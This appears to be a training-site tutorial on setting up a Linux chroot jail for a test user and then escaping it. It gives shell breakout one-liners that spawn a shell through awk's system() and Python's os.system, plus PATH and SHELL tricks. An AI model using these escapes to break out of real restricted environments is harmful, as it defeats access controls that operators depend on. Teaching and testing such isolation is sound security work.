Ready to Start Your Career?

Escaping Linux CHROOT Jail

chiheb chebbi's profile image

By: chiheb chebbi

April 1, 2017

IntroductionIsolation is a security approach provided by many computer systems. It is based on splitting the system into smaller independent pieces to make sure that a compromised sub-system cannot affect the entire entity. This approach is present in every modern operating system (e.g User accounts, process address spaces etc..).Chroot Jail is a way to separate a process that doesn’t run as root and its children from the rest of the system by creating a Jail using chroot() system call (system call is an interface between an application and the Linux kernel). The idea is to create a directory and make the process think that it is in the root folder and not letting it access or modify outside that jail. Let’s see how to build this jail and how to escape it. Setup a Prisoner userCreate a new user: sudo adduser prisoner


Add prisoner to root group:  sudo gpasswd -a prisoner root(Check by visiting the /etc/group path)Create a Chroot folder: mkdir chrootEnter chroot (cd /chroot ) and create : bin, dev, etc, home, home/prisoner, lib, var,  usr, usr/bin folders:  mkdir bin dev  etc home  home/prisoner, lib, var, usr, usr/bin(We need at least bin and lib directory inside the jail.)Now let’s copy the bash shell utility that we want the prisoner user to be able to use.Type:  cp /bin/bash /chroot/bin/To make sure that the bash shell will work properly we need to locate its necessary libraries and copying them to /lib jail folder:  ldd/bin/bashNow, let’s use the Magic Chroot command: sudo chroot /chroot  /bin/bashPs: if you get this error: chroot: failed to run command ‘/bin/bash’ no such file or directory please check this answer.Voila!Escaping the jail:Now let’s see how to escape this type of jails:
  1. First, we need to guess the available commands by just typing some commands: cd, ls, pwd, cp, vi etc… to know what we can use to escape.
  2. Know the $SHELL and the $PATH variables using: echo $PATH and echo $SHELL.
  3. There are different methods and ideas to escape the jail for example:
  • If ‘/’ is available just run /bin/bash.
  • If ‘set’ is available use: export PATH=/bin:/usr/bin:$PATH       
            and export SHELL=/bin/sh
  • Use other system commands e.g: awk ‘BEGIN {system(“/bin/sh”)}’
  • Use scripting language e.g: python – c  ‘import os;os.system(“/bin/bash”)’  
Schedule Demo
Build your Cybersecurity or IT Career
Accelerate in your role, earn new certifications, and develop cutting-edge skills using the fastest growing catalog in the industry